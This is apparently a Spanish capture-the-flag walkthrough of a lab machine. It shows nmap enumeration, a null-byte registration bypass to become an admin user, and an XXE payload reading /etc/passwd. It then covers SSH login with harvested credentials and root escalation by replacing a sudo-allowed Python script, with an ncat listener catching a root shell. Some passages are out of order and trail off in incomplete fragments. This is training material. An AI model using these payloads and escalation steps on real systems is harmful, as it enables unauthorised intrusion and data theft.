En esta maquina tendremos que hacer uso de nuestras habilidades de explotación para podernos registrar con un usuario que es administrador haciendo uso de null byte para bypassear el registrer, para luego explotar un XXE para leer archivos del servidor para obtener credenciales de un archivo .php y así iniciar sesión por el servicio ssh, luego de realizar la intrusion tendremos que secuestrar un archivo en Python y ingresar nuestro código malicioso para obtener una Shell como el usuario root.
Link
Created by and
Walkthrough
Enumeración
Iniciamos haciendo un escaneo de todos los puertos para obtener los puertos abiertos.
❯ nmap -p- --open --min-rate 5000 -vvv -Pn -n 10.10.243.60 -oG allportsScan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Encontramos dos puertos que están abiertos que son 22 y 80 de los cuales tendremos que enumerar los servicios y versiones.
❯ nmap -p22,80 -sC -sV -Pn -vvv -n 10.10.243.60 -oN servicesScan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPe2PVDHBBlUCEtHNVxjToY/muZpZ4hrISDM7fuGOkh/Lp9gAwpEh24Y/u197WBDTihDJsDZJqrJEJSWbpiZgReyh1LtJTt3ag8GrUUDJCNx6lLUIWR5iukdpF7A2EvV4gFn7PqbmJmeeQRtB+vZJSp6VcjEG0wYOcRw2Z6N6ho3AAAAFQCg45+RiUGvOP0QLD6PPtrMfuzdQQAAAIEAxCPXZB4BiX72mJkKcVJPkqBkL3t+KkkbDCtICWi3d88rOqPAD3yRTKEsASHqSYfs6PrKBd50tVYgeL+ss9bP8liojOI7nP0WQzY2Zz+lfPa+d0uzGPcUk0Wg3EyLLrZXipUg0zhPjcXtxW9+/H1YlnIFoz8i/WWJCVaUTIR3JOoAAACBAMJ7OenvwoThUw9ynqpSoTPKYzYlM6OozdgU9d7R4XXgFXXLXrlL0Fb+w7TT4PwCQO1xJcWp5xJHi9QmXnkTvi386RQJRJyI9l5kM3E2TRWCpMMQVHya5L6PfWKf08RYGp0r3QkQKsG1WlvMxzLCRsnaVBqCLasgcabxY7w6e2EM
| 2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkDLTds2sLmn9AZ0KAl70Fu5gfx5T6MDJehrsCzWR3nIVczHLHFVP+jXDzCcB075jjXbb+6IYFOdJiqgnv6SFxk85kttdvGs/dnmJ9/btJMgqJI0agbWvMYlXrOSN26Db3ziUGrddEjTT74Z1kokg8d7uzutsfZjxxCn0q75NDfDpNNMLlstOEfMX/HtOUaLQ47IeuSpaQoUkNkHF2SGoTTpbC+avzcCNHRIZEwQ6HdA3vz1OY6TnpAk8Gu6st9XoDGblGt7xv1vyt0qUdIYaKib8ZJQyj1vb+SJx6dCljix4yDX+hbtyKn08/tRfNeRhVSIIymOTxSGzBru2mUiO5
| 256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYHRWUDqeSQgon8sLFyvLMQygCx01yXZR6kxiT/DnZU+3x6QmTUir0HaiwM/n3aAV7eGigds0GPBEVpmnw6iu4=
| 256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILW7vyhbG1WLLhSEDM0dPxFisUrf7jXiYWNSTqw6Exri
80/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 80
Teniendo abierto el puerto 80 vamos a enumerar los directorios del sitio.
void update(char *param_1)
{
int iVar1;
iVar1 = strcmp(param_1,"admin@bank.a");
if (iVar1 == 0) {
puts("Password Updated Successfully!\n");
options();
}
else {
puts("Sorry you can\'t update the password\n");
options();
}
return;
}
Viendo el código fuente del binario, lo que se puede rescatar son la lista de correos que podrían servirnos de algo.
Register
Explotación
El que nos interesa es My Account que con nuestro usuario actual no podemos obtener acceso.
Recordemos un usuario que era admin@bank.a que podemos registrarlo, pero al querer registrarlo nos dará un error porque ya esta registrado o bueno que no nos deja regístralo.
Haciendo uso de null byte podemos registrarnos, Registered successfully es el mensaje que nos confirma que se registro con exito.
En la pestaña de command tenemos un formulario que hace uso de XML del cual interceptando con burp suite podemos abusar de este para enumerar el servidor.
XXE
Interceptamos con burp Suite y efectivamente tenemos un formulario xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<root>
<name>
10
</name>
<search>
&ent;
</search>
</root>
En este caso leemos el archivo /etc/passwd y podemos leerla.
Haciendo uso de las credenciales que se encontró podemos iniciar sesión.
❯ ssh cyber@10.10.186.152
The authenticity of host '10.10.186.152 (10.10.186.152)' can't be established.
ED25519 key fingerprint is SHA256:bTNXpvfykuLebPN3kSFZTMvEtACHZnk64YKhtu6tMKI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.186.152' (ED25519) to the list of known hosts.
cyber@10.10.186.152's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Sun Dec 24 09:17:48 IST 2023
System load: 3.08 Processes: 101
Usage of /: 2.4% of 68.28GB Users logged in: 0
Memory usage: 11% IP address for eth0: 10.10.186.152
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Tue Nov 17 17:02:47 2020 from 192.168.29.248
cyber@ubuntu:~$ whoami
cyber
Ahora iniciaremos con la enumeración de los privilegios del usuario para escalar privilegios. Enumerando con comando sudo -l podemos ver que tenemos permisos de ejecutar /usr/bin/python3 /home/cyber/run.py como usuario privilegiado.
cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser cyber may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
Vemos que tenemos el archivo run.py en nuestro directorio pero no tenemos permisos sobre este, pero al ser propietarios del directorio podemos eliminarlo.
cyber@ubuntu:~$ ls -la
total 32
drwx------ 3 cyber cyber 4096 Nov 17 2020 .
drwxr-xr-x 4 root root 4096 Nov 16 2020 ..
-rw------- 1 cyber cyber 0 Nov 17 2020 .bash_history
-rw-r--r-- 1 cyber cyber 220 Nov 9 2020 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov 9 2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov 9 2020 .cache
-rw--w---- 1 cyber cyber 85 Nov 15 2020 flag1.txt
-rw-r--r-- 1 cyber cyber 675 Nov 9 2020 .profile
-rwx------ 1 root root 349 Nov 15 2020 run.py
Una vez eliminado el archivo nos crearemos uno y pondremos el siguiente código en Python que nos permitirá obtener una Shell como el usuario root.
Antes de ejecutar el archivo con privilegio debemos de ponernos a la escucha con ncat en el puerto de nuestra preferencia y obtendremos nuestra shell como usuario root.
❯ ncat -lvnp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.52.161:44351
# whoami
root
#
¡VAMOS!
Happy hacking :)
Nos dirigimos a y nos muestra un panel de login, luego nos dirigimos a para registrarnos con las credenciales test1: test1 . Una vez registrados podemos iniciar sesión y podemos ver un menú.
Para registrarnos con el usuario admin@bank.a interceptaremos con burpSuite, en este caso haremos uso de un
En este caso explotaremos un y leeremos algunos archivos.